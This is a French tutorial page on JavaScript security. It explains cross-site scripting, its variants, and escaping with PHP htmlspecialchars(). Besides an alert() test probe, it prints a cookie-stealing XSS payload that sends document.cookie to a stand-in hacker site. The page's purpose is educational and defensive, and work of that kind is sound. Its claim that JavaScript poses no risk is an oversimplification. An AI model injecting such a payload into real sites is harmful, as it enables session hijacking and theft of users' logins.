Easy-Micro


LANGAGE JavaScript
Sécurité Javascript

JavaScript et la sécurité

Exécuter un script javaScript sur son navigateur ne comporte aucun risque pour les données et le matériel. JavaScript ne permet pas d'écrire ou de lire un fichier sur le disque dur du visiteur ou sur le serveur. La seule possibilité d'écriture en JavaScript est l'écriture de cookies sur le disque dur du visiteur.

Par contre, javascript peut servir d'intermédiaire car il permet d'intégrer des applets Java ou ActiveX qui sont capables d'agir sur le disque dur. Bien entendu, si vous désactivez le Java et les ActiveX dans les propriétés de votre navigateur, rien ne se passera.

On peut imaginer un petit script qui affiche des fenêtres popup en continu et qui vous oblige à redémarrer votre machine, mais bon. Rien de bien méchant.

JavaScript Faille de sécurité

Cross Site Scripting (XSS)
Le seul vrai risque connu viens de la technique dite du "Cross Site Scripting" (XSS). Le principe est d'injecter des données arbitraires dans un site web, par exemple en déposant un message dans un forum, mais aussi par des paramètres d'URL, etc.

La détection de la présence d'une faille XSS peut se faire par exemple en entrant un script Javascript dans un champ de formulaire ou dans une URL :
<script type="text/javascript">alert('bonjour')</script>

Si une boîte de dialogue apparaît, on peut en conclure que l'application Web est sensible aux attaques de type XSS.

Une variante XSS permet d'envoyer sur le site du pirate les cookies utilisé par votre site cible. Le plus interressant étant évidemment les informations de login et mots de passe, ainsi que l'identifiant de session.
<script>document.location='http://www.lesiteduhacker.com/cookie.cgi? '%20+document.cookie</script>

Type de faille XSS
• Faille XSS basé sur DOM 1 (faille local). Dans ce cas, le problème est dans le script d'une page côté client. Un fragment de JavaScript accède à un paramètre d'une requête d'URL (windows.location), et utilise cette information pour écrire du HTML dans sa propre page (document.write).
• Abscence d'encodage des entités HTML dans les champs de saisi des formulaires. Peut-être utilisées pour injecter du code dans la page dynamique reçue par le navigateur client.
• Données du serveur réaffichées sans que les caractères spéciaux HTML aient été encodés. Sur un forum, par exemple, qui permet la saisie de code HTML, on peut imaginer saisir un script malveillant.

Pour éviter ces problèmes, toutes les données qui peuvent être envoyées par un attaquant doivent être encodées - avec notamment les fonctions PHP htmlspecialchars() et strip_tags() - avant leur présentation sur une page dynamique, faute de quoi une faille XSS existe.

JavaScript Paramétrer son navigateur

Afin de ne pas avoir à valider l'éxécution du script JavaScript dans votre navigateur.
Lors de l'éxécution d'un script, le navigateur demande systématiquement de valider votre action sous la forme d'une barre jaune qui s'affiche en haut de l'écran de votre navigateur. Pour éviter cette validation, dans le menu Outils / Options de votre navigateur (niveau sécurité), cocher la case : "Exécuter les scripts dans la zone locale de votre ordinateur". Il s'agit de la troisième options du niveau sécurité. N'oubliez pas de réactiver cette option après vos tests.

> voir aussi les dossiers Easy-Micro sur les techniques de Sécurité Web


Suivez les aventures des skippers aquitains sur EasyVoile.com
Flux RSS Easy-Micro - Abonnez-vous Easy-Micro [ François Bisch ]
Vendredi 22 novembre 2019 - Semaine 47 - Sainte Cécile (Demain: Saint Clément)
Aujourd'hui, c'est l'anniversaire de Stéphane Freiss (1960-59 ans), acteur français.
Haut de page Easy-Micro